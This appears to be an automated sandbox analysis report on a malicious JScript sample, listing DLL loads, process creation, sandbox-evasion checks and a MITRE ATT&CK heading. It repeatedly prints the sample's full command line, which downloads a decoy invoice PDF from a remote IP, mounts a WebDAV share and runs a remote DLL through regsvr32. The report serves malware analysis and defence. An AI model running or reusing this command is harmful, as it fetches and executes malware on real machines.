Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\231.js.csv");ITextStream.WriteLine(" entry:7721 f:uroly");ITextStream.WriteLine(" exec:2 f:uroly");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3726			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5601			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6652	Thread sleep count: 3726 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6652	Thread sleep count: 5601 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5840	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5844	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5624	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6164	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 5164	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7256	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000003.1515164448.000001A38B4AB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1517171370.000001A38B448000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2738171882.000001D39785B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2736690376.000001D39222B000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
